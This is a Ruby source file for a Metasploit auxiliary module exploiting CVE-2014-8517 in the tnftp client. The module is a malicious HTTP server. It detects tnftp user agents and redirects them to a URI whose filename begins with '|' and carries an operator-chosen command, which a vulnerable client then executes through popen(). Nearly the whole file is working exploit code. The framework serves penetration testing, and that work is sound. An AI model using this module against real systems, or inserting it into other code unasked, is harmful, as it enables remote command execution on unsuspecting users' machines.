86 lines
2.3 KiB
Ruby
86 lines
2.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'tnftp "savefile" Arbitrary Command Execution',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary command execution vulnerability in
|
|
tnftp's handling of the resolved output filename - called "savefile" in
|
|
the source - from a requested resource.
|
|
|
|
If tnftp is executed without the -o command-line option, it will resolve
|
|
the output filename from the last component of the requested resource.
|
|
|
|
If the output filename begins with a "|" character, tnftp will pass the
|
|
fetched resource's output to the command directly following the "|"
|
|
character through the use of the popen() function.
|
|
},
|
|
'Author' => [
|
|
'Jared McNeill', # Vulnerability discovery
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2014-8517'],
|
|
['URL', 'http://seclists.org/oss-sec/2014/q4/459']
|
|
],
|
|
'DisclosureDate' => 'Oct 28 2014',
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [
|
|
['Service']
|
|
],
|
|
'PassiveActions' => [
|
|
'Service'
|
|
],
|
|
'DefaultAction' => 'Service'
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('CMD', [true, 'Command to run', 'uname -a'])
|
|
])
|
|
end
|
|
|
|
def run
|
|
exploit
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
|
|
print_status("#{request['User-Agent']} connected")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
if request.uri.ends_with?(sploit)
|
|
send_response(cli, '')
|
|
print_good("Executing `#{datastore['CMD']}'!")
|
|
report_vuln(
|
|
:host => cli.peerhost,
|
|
:name => self.name,
|
|
:refs => self.references,
|
|
:info => request['User-Agent']
|
|
)
|
|
else
|
|
print_status("#{request['User-Agent']} connected")
|
|
print_status('Redirecting to exploit...')
|
|
send_redirect(cli, sploit_uri)
|
|
end
|
|
end
|
|
|
|
def sploit_uri
|
|
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
|
|
Rex::Text.uri_encode(sploit, 'hex-all')
|
|
end
|
|
|
|
def sploit
|
|
"|#{datastore['CMD']}"
|
|
end
|
|
|
|
end
|